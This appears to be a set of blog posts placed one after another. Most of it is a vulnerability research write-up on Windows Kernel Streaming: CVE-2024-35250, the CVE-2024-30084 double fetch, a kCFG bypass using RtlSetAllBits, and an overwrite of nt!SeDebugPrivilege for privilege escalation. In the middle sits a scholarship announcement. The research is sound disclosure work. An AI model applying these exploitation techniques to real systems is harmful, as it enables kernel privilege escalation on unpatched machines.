在觸發任意記憶體位置 +1 這個 primitive 時，如果原先的數值是 0 時，就會進到 KsQueueWorkItem 中，其中會有一些相對應複雜的處理，就會導致 BSoD， IoRing 的利用方式剛好就會遇到這狀況…

是不是真的沒辦法穩定利用了呢?

Let’s find a new way !

當傳統的利用方法遇到瓶頸時，深入探討技術的核心機制可能會是值得的。你或許會在此過程中意外發現新的方法。

經過幾天沉思之後，我們決定找尋新方法，但從頭找新的方法可能會花不少時間也可能找不到，於是我們決定從舊有的兩個方法中找尋新的靈感，首先來看的是 Abuse token privilege，其中最關鍵的就是利用漏洞拿到 SeDebugPrivilege 使得我們可以 Open 像是 winlogon 等高權限的 Process。

問題就來了，為什麼只要有 SeDebugPrivilege 就可以開啟高權限的 Process 呢？

這邊就要來看一下 PsOpenProcess，以下是 PsOpenProcess 的程式碼片段：

由此可見，當我們在 Open Process 時， kernel 會優先使用 SeSinglePrivilegeCheck 檢查你是否有 SeDebugPrivilege，如果你具有 SeDebugPrivilege 那就會給你 PROCESS_ALL_ACCESS 的權限，不會有其他 ACL 的檢查，讓你可以對任意 Process 去做任何事情，顧名思義就是讓你 Debug 用的，然而有一點值得注意的地方是 SeDebugPrivilege 是在 ntoskrnl.exe 上的全域變數。

它會是個 LUID 結構，會在系統啟動時初始化，實際數值為 0x14 ，表示在 Privileges.Enable 及 Privileges.Present 欄位中哪個 bit 是代表 SeDebugPrivilege。所以當我們在用 NtOpenProcess 時，系統去查看這個全域變數中的數值。

獲得要檢查的數值後，就會依照這個數值去檢查 Token 中的 Privileges 欄位是否有 Enable 及 Present 這個欄位，以 SeDebugPrivilege 來說就會檢查第 0x14 bit。

然而有一件有趣的事情是…

nt!SeDebugPrivilege 這個全域變數是位於可寫的區段中!

因此一個新的想法就誕生了。

Make abusing token privilege great again !

預設情況下，一般權限的使用者會像這張圖一樣，僅有少數的 Privileges

不過我們可以注意到的是，大部分情況下都會有 SeChangeNotifyPrivilege 且是 Enable 的。這時我們就可以來看看初始化的地方，就可發現 SeChangeNotifyPrivilege 所代表是數值為 0x17。

那如果我們利用漏洞把 SeDebugPrivilege 從 0x14 換成 0x17 會發生甚麼事情呢?

如上圖，在原先 OpenProcess 的流程中，依舊會先去看 nt!SeDebugPrivilege 中的數值，而這時獲得的數值為 0x17(SeChangeNotifyPrivilege)

接下來的檢查就會以 0x17 對當前 Process token 做驗證，看看有沒有這個 Privilege，然而一般使用者都會有這個 Privilege，因此即使你沒有 SeDebugPrivilege 也會直接通過檢查，拿到 PROCESS_ALL_ACCESS，也就是說任何擁有 SeChangeNotifyPrivilege 都可以 open 除了 PPL 之外的高權限的 Process。

此外利用我們上述的漏洞來將 nt!SeDebugPrivilege 從 0x14 改成 0x17，因為原本的數值不是 0 是不會受到 KsQueueWorkItem 影響的，因此非常適合我們。

在可以 open 高權限的 Process 後，提權方式就與一般的 Abuse token privilege 方法相同就不再這邊多提了，最終我們又在一次利用 Proxying to kernel 成功在 Windows 11 23H2 上達成 EoP。

Remark

實際上來說，這個方法也適用於其他高權限的 Privilege 中

• SeTcbPrivilege = 0x7
• SeTakeOwnershipPrivilege = 0x9
• SeLoadDriverPrivilege = 0xa
• …

The Next & Summary

這兩篇文章中，主要著重於我們怎麼從過往的漏洞分析到發現新漏洞的過程，如何從過去的研究之中獲得新的想法、新的利用方式，新的漏洞以及新的攻擊面。關於這種 Proxy 類型的 Bug class 可能還存在很多，也可能不只侷限於 Kernel Streaming 和 IoBuildDeviceIoControlRequest，我認為算是 Windows 設計上的一個小缺陷，如果認真找可能還會找到一些漏洞，這類型的漏洞你需要關注的地方就是 Irp->RequestorMode 設置的時間點，如果設置 KernelMode 之後還有拿使用者的輸入做事情，就有機會出問題，而且這類型的漏洞往往都很好用。

在 Kernel Streaming 中，我認為應該不少潛在的安全性漏洞，他也還有很多元件像是 Hdaudio.sys 或是 Usbvideo.sys 可能也是個可以看的方向，也是個適合 fuzzing 的地方。如果你是個 Kernel driver 開發者最好不要只有檢查 Irp->Requestormode，Windows 架構下很有可能還是有問題。最後再次強烈建議大家盡速更新 Windows 到最新版本中。

Is that the end of it ?

實際上來說除了 Proxy 類型的漏洞之外，我們還有找到其他更多的 Bug class 使得我們在 Kernel Streaming 上找到超過 20 個漏洞，有些漏洞非常特別，敬請期待 Part III。

Reference

• Easy Local Windows Kernel Exploitation
• One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11

繼輔仁大學及國立臺灣科技大學戴夫寇爾資訊安全獎學金頒布後，我們很高興地宣佈，2024 年度「全國資訊安全獎學金」及「資安教育活動贊助計畫」於即日起開放報名。

自 2012 年創立之初，DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷，將人才培育視為己任，透過參與教育部資安人才培育計畫、創辦 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式，協助資安人才茁壯成長。

DEVCORE 全國資訊安全獎學金

DEVCORE 於 2020 年首次舉辦「戴夫寇爾資安獎學金計畫」，原為感念過去學生時代受到的多方資源及鼓勵，獎學金頒發範圍為經營團隊母校的輔仁大學及國立臺灣科技大學，後為培育更多有志青年學子，擴大獎學金範圍，開放全國各地學生報名申請，期待能推廣「駭客思維」、強化資安技能，並幫助在學學生了解資安產業生態及現況、降低學用落差，未來成為新一代的攻擊型資安人才，為資安產業注入新活力。

「戴夫寇爾全國資訊安全獎學金」歡迎所有在資訊安全領域有出眾研究成果的學生報名申請，有意申請者須提出學習資安的動機與歷程，並繳交資安研究或比賽成果，我們將從中擇優選取 10 名，獲選者可獲最高 2 萬元的研究補助。詳細申請辦法如下：

• 申請資格：全國各大專院校學生皆可以申請。
• 獎學金金額/名額：每年度取 10 名，每名可獲得獎學金新台幣 20,000 元整，共計 20 萬元。如報名踴躍，我們將視申請狀況增加名額。
• 申請時程：
  • 2024/9/6 官網公告獎學金計畫資訊
  • 2024/9/6 - 2024/10/3 開放收件
  • 2024/10/31 公布審查結果，並將於 11 至 12 月間頒發獎學金
• 申請辦法：
  • 請依⽂件檢核表項次順序排列已附⽂件，彙整為⼀份 PDF 檔案，寄⾄ [email protected]。
  • 信件主旨及 PDF 檔案名稱請符合以下格式：[全國獎學⾦申請] 學校名稱_學號_姓名（範例：[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美）。
  • 請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件，若⽂件不⿑或未確實勾選恕不受理申請。
• 須檢附文件：
  • 本獎學⾦申請表
  • 在學證明
  • 最近⼀學期成績單
  • 學習資訊安全之動機與歷程⼼得⼀篇：字數 500 - 2000 字
  • 資訊安全技術相關研究成果：至少須從以下六項目中擇一繳交，包含研討會投稿、漏洞獎勵計畫、弱點研究、資訊安全比賽、資安工具研究、技術文章發表等成果
  • 社群經營成果：至少須從以下兩項目中擇一繳交，包含校園資安社團、公開資安社群等
  • 推薦函：導師、系主任、其他教授或業界⼈⼠推薦函，⾄少須取得兩封以上推薦函

DEVCORE 資安教育活動贊助計劃

今年我們也將持續贊助資安教育活動，提供經費予資安相關之社群、社團辦理各項活動，凝聚台灣資安社群，加速培育台灣的資安新銳。

• 申請資格：與資安議題相關之社群、社團活動，請由 1 位社團代表人填寫資料。
• 贊助金額：依各社團活動需求及與 DEVCORE 團隊討論而定，每次最高補助金額為新台幣 20,000 元整。
• 申請時程：如欲申請此計畫的社團或活動，請於 2024/10/31 前透過以下連結填寫初步資料，我們將於 30 日內通知符合申請資格者提供進一步資料，不符合資格者將不另行通知。
• 申請連結：DEVCORE 2024 年資安教育活動贊助調查
• 須提供資料：
  • 申請資格：申請人需以各資安社群或社團名義提出申請。
  • 聯絡電子郵件
  • 想要辦理的活動類型
  • 想要辦理的活動方式
  • 活動總預算
  • 預計需要贊助金額
  • 代表人姓名、連絡電話
  • 團體名稱
  • 團體單位網址
• 注意事項：
  • 申請案審核將經過 DEVCORE 內部審核機制，並保有最終核決權。
  • 本問卷僅供初步意願蒐集用途，符合申請資格者，DEVCORE 將於 30 日內通知提供進一步資料供審核，其餘將不另行通知。
  • DEVCORE 保有修改、暫停或終止本贊助計畫之權利。

English Version, 中文版本

Over the past few decades, vulnerabilities in the Windows Kernel have emerged frequently. The popular attack surface has gradually shifted from Win32k to CLFS (Common Log File System). Microsoft has continuously patched these vulnerabilities, making these targets increasingly secure. However, which component might become the next attack target? Last year, MSKSSRV (Microsoft Kernel Streaming Service) became a popular target for hackers. However, this driver is tiny and can be analyzed in just a few days. Does this mean there might not be new vulnerabilities?

This research will discuss an overlooked attack surface that allowed us to find more than ten vulnerabilities within two months. Additionally, we will delve into a proxy-based logical vulnerability type that allows us to bypass most validations, enabling us to successfully exploit Windows 11 in Pwn2Own Vancouver 2024.

(This research will be divided into several parts, each discussing different bug classes and vulnerabilities. This research was also presented at HITCON CMT 2024.)

Start from MSKSSRV

For vulnerability research, looking at historical vulnerabilities is indispensable.

Initially, we aimed to challenge Windows 11 in Pwn2Own Vancouver 2024. Therefore, we began by reviewing past Pwn2Own events and recent in-the-wild Windows vulnerabilities, searching for potential attack surfaces. Historical trends show that Win32K, primarily responsible for handling GDI-related operations, has always been a popular target, with numerous vulnerabilities still emerging. Since 2018, CLFS (Common Log File System) has also gradually become a popular target. Both components are extremely complex, suggesting that there are likely still many vulnerabilities. However, becoming familiar with these components requires significant time, and many researchers are already examining them. Therefore, we did not choose to analyze them first.

Last year, after Synacktiv successfully exploited a vulnerability in MSKSSRV to compromise Windows 11 during Pwn2Own 2023, many researchers began to focus on this component. Shortly thereafter, a second vulnerability ,CVE-2023-36802, was discovered. At this time, chompie also published an excellent blog post detailing this vulnerability and its exploitation techniques. Given that this component is very small, with a file size of approximately 72 KB, it might only take a few days of careful examination to fully understand it. Therefore, we chose MSKSSRV for historical vulnerability analysis, with the hopeful prospect of identifying other vulnerabilities.

We will briefly discuss these two vulnerabilities but not go into much detail.

CVE-2023-29360 - logical vulnerability

The first one is the vulnerability used by Synacktiv in Pwn2Own Vancouver 2023.

This is a logical vulnerability in the MSKSSRV driver. When MSKSSRV uses MmProbeAndLockPages to lock user-specified memory address as framebuffer, the AccessMode was not set correctly. This leads to a failure to check whether the user-specified address belongs to the user space. If the user provides a kernel address, it will map the specified kernel address to user space for the user to use. Ultimately, this allows the user to write data to any address in the kernel. The exploitation is simple and very stable, making it become one of the most popular vulnerabilities.

For more details, please refer to Synacktiv’s presentation at HITB 2023 HKT and Nicolas Zilio(@Big5_sec) ‘s blog post.

CVE-2023-36802 - type confusion

This vulnerability was discovered shortly after CVE-2023-29360 was released. It was already being exploited when Microsoft released their patches. This is a very easily discovered vulnerability. It uses the objects (FSContextReg, FSStreamReg) stored in FILE_OBJECT->FsContext2 for subsequent processing. However, there is no check on the type of FsContext2, leading to type confusion. For detailed information, you can refer to the IBM X-Force blog, which provides a very thorough explanation.

Since then, there have been very few vulnerabilities related to MSKSSRV. Due to its relatively small size, MSKSSRV is quickly reviewed, and gradually, fewer and fewer people pay attention to it.

But is that the end of it ?

However, does this mean there are no more vulnerabilities?

In fact, the entire Kernel Streaming looks like the diagram below:

MSKSSRV is just the tip of the iceberg. In fact, there are many other potential components, and those listed in the diagram above are all part of Kernel Streaming. After delving into this attack surface, numerous vulnerabilities were eventually discovered, flowing like a stream.

By the way, while I was writing this blog, chompie also published about the vulnerability she used in this year’s Pwn2Own Vancouver 2024, CVE-2024-30089, which is also a vulnerability in MSKSSRV. The vulnerability lies in handling the reference count, requiring a lot of attention and thought to discover. It is also quite interesting, but I won’t discuss it here. I highly recommend reading this one.

Brief overview of Kernel Streaming

So, what is Kernel Streaming? In fact, we use it very frequently.

On Windows systems, when we open the webcam, enable sound, and activate audio devices such as microphones, the system needs to write or read related data such as your voice and captured images from your devices into RAM. It is essential to read data into your computer more efficiently during this process. Microsoft provides a framework called Kernel Streaming to handle these data, which primarily operates in kernel mode. It features low latency, excellent scalability, and a unified interface, making handling streaming data more convenient and efficient.

In Microsoft’s Kernel Streaming, three multimedia class driver models are provided: port class, AVStream, and stream class. We will briefly introduce port class and AVStream, as stream class is less common and more outdated and will not be discussed here.

Port class

This type of driver is mostly used for PCI and DMA-based audio device hardware drivers. Currently, most audio-related processing, such as volume control or microphone-related processing, falls into this category. The main component library used would be portcls.sys.

AVStream

AVStream is a multimedia driver provided by Microsoft that primarily supports video-only and integrated audio/video streaming. Currently, most video-related processing, such as your webcam, capture card, etc., is associated with this category.

In fact, the use of Kernel Streaming is also very complex. We will only provide a brief description. For more detailed information, please refer to Microsoft Learn.

Interact with device

When we want to interact with audio devices or webcams, we need to open the device just like with any other device. Essentially, it interacts with the device driver in the same way. So, what would the names of these types of devices be? These names are not typically like \Device\NamedPipe, but rather something like the following:

\\?\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6&2f1f346a&0&0002&0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo Enumerate device

Here you can use APIs such as SetupDiGetClassDevs to enumerate devices. Generally, KS series devices are registered under KSCATEGORY*, such as audio devices which are registered under KSCATEGORY_AUDIO.

Additionally, you can use the APIs provided by KS, such as KsOpenDefaultDevice, to obtain the handle of the first matching PnP device in that category. Actually, it is just a wrapper around SetupDiGetClassDevs and CreateFile.

hr = KsOpenDefaultDevice(KSCATEGORY_VIDEO_CAMERA,GENERIC_READ|GENERIC_WRITE, &g_hDevice) Kernel Streaming object

After we open these devices, Kernel Streaming will create some Kernel Streaming related instances, the most important of which are KS Filters and KS Pins.

These will be used during the Kernel Streaming process. We will only provide a brief introduction here. We will use audio filters as an example, as most others are quite similar.

KS filters

Each KS Filter typically represents a device or a specific function of a device. When we open an audio device, it usually corresponds to a KS filter object. When we read data from the audio device, this data is first processed through this KS Filter.

Conceptually, as shown in the diagram below, the large box in the middle represents a KS filter for the audio device. When we want to read data from the audio device, it is read into the filter from the left, processed through several nodes, and then output from the right.

(From: https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters)

KS pins

In the figure above, the points for reading and outputting data are called pins. The kernel also has corresponding KS pin Objects to describe the Pins, recording whether the Pin is a sink or a source, the data format for input and output, and so on. When we use it, we must open a pin on the filters to create an instance to read from or write to the device.

KS property

Each of these KS objects will have its own property, and each property corresponds to a specific feature. For instance, the data format mentioned earlier in the Pin, the volume level, and the status of the device are all properties. These properties typically correspond to a set of GUIDs. We can set these properties through IOCTL_KS_PROPERTY.

This greatly simplifies the development of multimedia drivers and ensures consistency and scalability across different devices.

Read streams from webcam

Here is a simple example illustrating how an application can read data from a webcam.

The most basic flow is roughly shown in this diagram:

1. Open the device to obtain the device handle.
2. Use this device handle to create an instance of the Pin on this filter and obtain the Pin handle.
3. Use IOCTL_KS_PROPERTY to set the device state of the Pin to RUN.
4. Finally, you can use IOCTL_KS_READ_STREAM to read data from this Pin.

Kernel Streaming architecture

For vulnerability research, we must first understand its architecture and consider the potential attack surfaces.

After gaining a preliminary understanding of the functionalities and operations of Kernel Streaming, we need to understand the architecture to find vulnerabilities. It’s crucial to know how Windows implements these functions and what components are involved. This way, we can identify which sys files to analyze and where to start.

After our analysis, the overall architecture looks approximately like this diagram:

In the Kernel Streaming components, the most important ones are ksthunk.sys and ks.sys. Almost all functionalities are related to them.

ksthunk (Kernel Streaming WOW Thunk Service Driver)

ksthunk.sys is the entry point in Kernel Streaming. Its function is quite simple: it converts 32-bit requests from the WoW64 process into 64-bit requests, allowing the underlying driver to handle the requests without additional processing for 32-bit structures.

ks (Kernel Connection and Streaming Architecture Library)

ks.sys is one of the core components of Kernel Streaming. It is the library of Kernel Streaming responsible for forwarding requests such as IOCTL_KS_PROPERTY to the corresponding device driver, and it also handles functions related to AVStream.

The work flow of IOCTL_KS_*

IOCTL_KS_PROPERTY will be used as an example here. When calling DeviceIoControl, as shown in the figure below, the user’s request will be sequentially passed to the corresponding driver for processing.

At step 6, ks.sys will determine which driver and handler to hand over your request based on the KSPROPERTY you requested.

Finally, forward it to the corresponding driver, as shown in the figure above, where it is ultimately forwarded to the handler in portcls to operate the audio device.

You should now have a preliminary understanding of the architecture and process of Kernel Streaming. Next, it’s time to look for vulnerabilities.

Based on the existing elements, which attack surfaces are worth examining?

From attacker’s view

　Before digging for vulnerabilities, if you can carefully consider under what circumstances they are likely to occur, you can achieve twice the result with half the effort.

From a vulnerability researcher’s perspective, there are a few key points to consider:

1. Property handler in each device

KS object for each device has its own properties, and each property has its own handler. Some properties are prone to issues during handling.

2. ks and ksthunk

ks and ksthunk have not had vulnerabilities for a long time, but they are the most accessible entry points and might be good targets. The last vulnerabilities(CVE-2020-16889 and CVE-2020-17045) were found in 2020 by @nghiadt1098.

3. Each driver handles a part of the content

In some functionalities of Kernel Streaming, certain drivers handle parts of the input individually, which may lead to inconsistencies.

After reviewing Kernel Streaming from the above perspectives, we quickly identified several relatively easy-to-discover vulnerabilities.

• portcls.sys
  • CVE-2024-38055 (out-of-bounds read when set dataformat for Pin)
  • CVE-2024-38056
• ksthunk
  • CVE-2024-38054 (out-of-bounds write)
  • CVE-2024-38057

However, we will not be explaining these vulnerabilities one by one. Most of these are obvious issues such as unchecked length or index leading to out-of-bounds access. @Fr0st1706 also wrote an exploit for CVE-2024-38054 recently. We might slowly explain these in subsequent parts in the future. We will leave this for the readers to study for now.

During the review process, we discovered some interesting things. Do you think the following code snippet is really fine?

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4) { if ( irp->RequestorMode ) { v14 = 0xC0000010; } else { UserBuffer = (unsigned int *)irp->UserBuffer; ... v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *)) (Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38 *UserBuffer, 0LL, v19); } }

Seeing this code reminds me of CVE-2024-21338. Initially, the vulnerability had no checks, but after patching, ExGetPreviousMode was added. However, the check here uses the RequestorMode in IRP for validation. Generally, the RequestorMode from a user-called IOCTL will be UserMode(1), so there shouldn’t be any issues.

At this point, I also recall James Forshaw’s article Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager.

The overlooked bug class

First, we need to mention a few terms and concepts. If you are already familiar with Previous Mode and RequestorMode, you can skip to A logical bug class section.

PreviousMode

The first one is PreviousMode. In an Application, if a user operates on a device or file through Nt* System Service Call, upon entering the kernel, it will be marked as UserMode(1) in _ETHREAD’s PreviousMode, indicating that this System Service Call is from the user. Conversely, if it is called from kernel mode, such as a device driver invoking the Zw* System Service Call, it will be marked as KernelMode(2).

RequestorMode

Another similar field is the RequestorMode in the IRP. This field records whether your original request came from UserMode or KernelMode. In kernel driver code, this is a very commonly used field, typically derived from PreviousMode.

It is often used to decide whether to perform additional checks on user requests, such as Memory Access Check or Security Access Check. In the example below, if the request comes from UserMode, it will check the user-provided address. If it comes from the Kernel, no additional checks are performed to increase efficiency.

But in reality, this has also led to some issues.

A logical bug class

James Forshaw’s Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager mentions a type of Bug Class.

What would happen if a user calls a System Service Call like NtDeviceIoControlFile, and then the driver handling it uses user-controllable data as parameters for ZwOpenFile?

After the driver calls ZwOpenFile, PreviousMode will switch to KernelMode, and when it uses NtOpenFile processing, most checks will be skipped due to PreviousMode being KernelMode. Subsequently, Irp->RequestorMode will become KernelMode, bypassing the Security Access Check and Memory Access Check. However, this largely depends on how the subsequent driver implements these checks. There might be issues if it relies solely on RequestorMode to decide whether to perform checks The actual situation is slightly more complex and related to the flags of CreateFile. For details, refer to the following articles:

• Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager
• Hunting for Bugs in Windows Mini-Filter Drivers
• Local privilege escalation via the Windows I/O Manager: a variant finding collaboration

These studies mainly focused on the Zw* series of System Service Call. Are there other similar situations that could also cause this kind of logical vulnerability?

The new bug pattern

Actually, it is possible. When the device driver uses IoBuildDeviceIoControlRequest to create a DeviceIoControl IRP, it is easy to encounter such issues if not careful. This API is primarily used by kernel drivers to call IOCTL, and it helps you build the IRP. Subsequently, calling IofCallDriver allows you to call IOCTL within the kernel driver. On Microsoft Learn, there is a particular passage worth noting.

By default, if you do not explicitly set the RequestorMode, it will directly call IOCTL with KernelMode.

Following this approach, we revisited Kernel Streaming and discovered an intriguing aspect.

The function where IoBuildDeviceIoControlRequest is used in Kernel Streaming is in ks!KsSynchronousIoControlDevice and it obviously involves calling IOCTL in the kernel using the aforementioned method. However, it appears that Irp->RequestorMode is properly set here, and different values are assigned based on the parameters of KsSynchronousIoControlDevice. This will be a convenient library for kernel streaming driver developers.

However…

ks!CKsPin::GetState

ks!SerializePropertySet

ks!UnserializePropertySet

We found that in Kernel Streaming, all functions using KsSynchronousIoControlDevice consistently use KernelMode(0). At this point, we can carefully inspect whether the places it is used have any security issues. Therefore, we convert the bug pattern in Kernel Streaming into the following points:

1. Utilized KsSynchronousIoControlDevice
2. Controllable InputBuffer & OutputBuffer
3. The second processing of IOCTL relies on RequestorMode for security checks

Following this pattern, we quickly found the first vulnerability.

The vulnerability & exploitation CVE-2024-35250

This vulnerability is also the one we used in Pwn2Own Vancouver 2024. In the IOCTL_KS_PROPERTY of Kernel Streaming, to increase efficiency, KSPROPERTY_TYPE_SERIALIZESET and KSPROPERTY_TYPE_UNSERIALIZESET requests are provided to allow users to operate on multiple properties through a single call. These types of requests will be broken down into multiple calls by the KsPropertyHandler. For more details, refer to this one.

It is implemented in ks.sys

When handling property in ks.sys, if the KSPROPERTY_TYPE_UNSERIALIZESET flag is provided, ks!UnserializePropertySet will handle your request.

Let’s take a look at UnserializePropertySet.

unsigned __int64 __fastcall UnserializePropertySet( PIRP irp, KSIDENTIFIER* UserProvideProperty, KSPROPERTY_SET* propertyset_) { ... New_KsProperty_req = ExAllocatePoolWithTag(NonPagedPoolNx, InSize, 0x7070534Bu); ... memmove(New_KsProperty_req, CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, InSize); //------[1] ... status = KsSynchronousIoControlDevice( CurrentStackLocation->FileObject, 0, CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode, New_KsProperty_req, InSize, OutBuffer, OutSize, &BytesReturned); //-----------[2] ... }

You can see that during the processing, the original request is first copied into a newly allocated buffer at [1]. Subsequently, this buffer is used to call the new IOCTL using KsSynchronousIoControlDevice at [2]. Both New_KsProperty_req and OutBuffer are contents provided by the user.

The flow when calling UnserializePropertySet is roughly as illustrated below:

When calling IOCTL, as shown in step 2 of the diagram, the I/O Manager will set Irp->RequestorMode to UserMode(1). Until step 6, it will check if the requested property by the user exists in the KS object. If the property exists in the KS object and is set with KSPROPERTY_TYPE_UNSERIALIZESET, UnserializePropertySet will be used to handle the specified property.

Next, in step 7, KsSynchronousIoControlDevice will be used to perform the IOCTL again. At this point, the new Irp->RequestorMode will become KernelMode(0), and the subsequent processing will be the same as a typical IOCTL_KS_PROPERTY. This part will not be elaborated further.

As a result, we now have a primitive that allows us to perform arbitrary IOCTL_KS_PROPERTY operations. Next, we need to look for places where it might be possible to achieve EoP (Elevation of Privilege).

The EoP

The first thing you will likely notice is the entry point ksthunk.sys.

Let’s take a look at ksthunk!CKSThunkDevice::DispatchIoctl.

__int64 __fastcall CKSThunkDevice::DispatchIoctl(CKernelFilterDevice *a1, IRP *irp, unsigned int a3, NTSTATUS *a4) { ... if ( IoIs32bitProcess(irp) && irp->RequestorMode ) //------[3] { //Convert 32-bit requests to 64-bit requests } else if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode == IOCTL_KS_PROPERTY ) { return CKSThunkDevice::CheckIrpForStackAdjustmentNative((__int64)a1, irp, v11, a4) //-----[4]; } }

You can see that ksthunk will first determine whether the request is from a WoW64 Process. If it is, it will convert the original 32-bit Requests into 64-bit at [3]. If the original request is already 64-bit, it will call CKSThunkDevice::CheckIrpForStackAdjustmentNative at [4] to pass it down.

__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4) { ... if ( *(_OWORD *)&Type3InputBuffer->Set == *(_OWORD *)&KSPROPSETID_DrmAudioStream && !type3inputbuf.Id && (type3inputbuf.Flags & 2) != 0 ) //-----[5] { if ( irp->RequestorMode ) //-------[6] { v14 = 0xC0000010; } else { UserBuffer = (unsigned int *)irp->UserBuffer; ... v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *))(Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38 *UserBuffer, 0LL, v19); //------------[7] } } }

We can notice that if we give the property set as KSPROPSETID_DrmAudioStream, there is additional processing at [5]. At [6], we can see that it first checks whether Irp->RequestorMode is KernelMode(0). If it is called from user, it will directly return an error.

It should be pretty obvious here that if we call IOCTL with KSPROPERTY_TYPE_UNSERIALIZESET and specify the KSPROPSETID_DrmAudioStream property, it will be KernelMode(0) here. Additionally, it will directly use the input provided by the user as a function call at [7]. Even the first parameter is controllable.

After writing the PoC, we confirmed our results.

Some people might wonder, under what device or situation would have KSPROPSETID_DrmAudioStream? Actually, most audio devices will have it, primarily used for setting DRM-related content.

Exploitation

Once arbitrary calls are achieved, accomplishing EoP is not too difficult. Although protections such as kCFG, kASLR, and SMEP will be encountered, the only protection that needs to be dealt with under Medium IL is kCFG.

• kCFG
• kASLR
  • NtQuerySystemInformation
• SMEP
  • Reuse Kernel Code
• …

Bypass kCFG

Our goal here is straightforward: to create an arbitrary write primitive from a legitimate function, which can then be used to achieve EoP through typical methods like replacing the current process token with system token or abusing the token privilege.

It is intuitive to look directly for legitimate functions with names containing set, as they are more likely to do arbitrary writing. We directly take the export functions from ntoskrnl.exe to see if there are any good gadgets, as these functions are generally legitimate.

We quickly found RtlSetAllBits.

It is a very useful gadget and a legitimate function in kCFG. Additionally, it only requires controlling the first parameter _RTL_BITMAP.

struct _RTL_BITMAP { ULONG SizeOfBitMap; ULONG* Buffer; };

We can assign the buffer to any address and specify the size, allowing us to set up a range of bits entirely. At this point, we are almost done. As long as Token->Privilege is fully set up, we can use the Abuse Privilege method to achieve EoP.

However, before the Pwn2Own event, we created a new Windows 11 23H2 VM on Hyper-V and ran the exploit. The result was a failure. It failed at the open device stage.

After investigation, we discovered that Hyper-V does not have an audio device by default, causing the exploit to fail.

In Hyper-V, only MSKSSRV is present by default. However, MSKSSRV does not have the KSPROPSETID_DrmAudioStream property, which prevents us from successfully exploiting this EoP vulnerability. Therefore, we must find other ways to trigger it or discover new vulnerabilities. We decided to review the entire process again to see if there were any other exploitable vulnerabilities.

CVE-2024-30084

After re-examining, it was found that IOCTL_KS_PROPERTY uses Neither I/O to transmit data, which means it uses the input buffer for data processing directly. Generally speaking, this method is not recommended as it often leads to double fetch issues.

From the above figure of KspPropertyHandler, we can see that after the user calls IOCTL, the Type3InputBuffer is directly copied into a newly allocated buffer, containing the KSPROPERTY structure. This GUID in the structure is then used to check if the property set exists in the device. If it does, it will proceed to call UnserializePropertySet.

Let’s take another look at UnserializePropertySet.

It once again copies the user-provided data from Type3InputBuffer as the input for the new IOCTL. Clearly, there exists a double fetch vulnerability here, so we have modified the entire process, as shown in the following diagram.

When we initially send IOCTL_KS_PROPERTY, we use the existing property KSPROPSETID_Service of MSKSSRV for subsequent operations. As shown in step 6 of the diagram, a copy of KSPROPERTY is first made into the SystemBuffer, and then this property is used to check whether it is in the support list of the KS object. Since MSKSSRV supports it, it will then call UnserializePropertySet.

After calling UnserializePropertySet, due to the double fetch vulnerability, we can change KSPROPSETID_Service with KSPROPSETID_DrmAudioStream between the check and use phases. Subsequently, KSPROPSETID_DrmAudioStream will be used as the request to send IOCTL, thereby triggering the CVE-2024-35250 mentioned above logic flaw. This makes the vulnerability exploitable in any environment.

Finally, we successfully compromised Microsoft Windows 11 during Pwn2Own Vancouver 2024.

After the Pwn2Own event, our investigation revealed that this vulnerability has existed since Windows 7 for nearly 20 years. Moreover, it is highly reliable and has a 100% success rate in exploitation. We strongly recommend that everyone update to the latest version as soon as possible.

To be continued

This article focuses on how we identified the vulnerabilities used in this year’s Pwn2Own and the attack surface analysis of Kernel Streaming. After discovering this vulnerability, we continued our research on this attack surface and found another exploitable vulnerability along with other interesting findings.

Stay tuned for Part II, expected to be published in October of this year.

Reference

• Critically Close to Zero-Day: Exploiting Microsoft Kernel Streaming Service
• Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own
• CVE-2023-29360 Analysis
• Racing Round and Round: The Little Bug That Could
• Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager
• Hunting for Bugs in Windows Mini-Filter Drivers
• Local Privilege Escalation via the Windows I/O Manager: A Variant Finding & Collaboration

English Version, 中文版本

在過去的幾十年中 Windows Kernel 的漏洞層出不窮，熱門的攻擊面逐漸從 Win32k 慢慢轉移到 CLFS (Common Log File System) 上。微軟也持續且積極地修補這些漏洞，使得這些元件越來越安全。而下一個熱門的目標會是哪個元件呢？去年開始，MSKSSRV (Microsoft Kernel Streaming Service) 成為駭客喜愛的目標之一。這個驅動程式小到可以在幾天內完成分析。這是否意味著可能不太會有新的漏洞了？

在這篇研究將講述一個長期被忽視的攻擊面，讓我們在兩個月內就找出了超過 10 個漏洞。此外，也將深入探討了一種 Proxy-Based 的邏輯漏洞類型，使我們可以忽略掉大多數的檢查，最終成功在 Pwn2Own Vancouver 2024 中，攻下 Windows 11 的項目。

這份研究將分成數個部分來撰寫，分別講述不同的漏洞類型及漏洞型態，亦發表於 HITCON CMT 2024 中。

Start from MSKSSRV

對於一項漏洞研究來說，從歷史的漏洞看起，是不可或缺的。

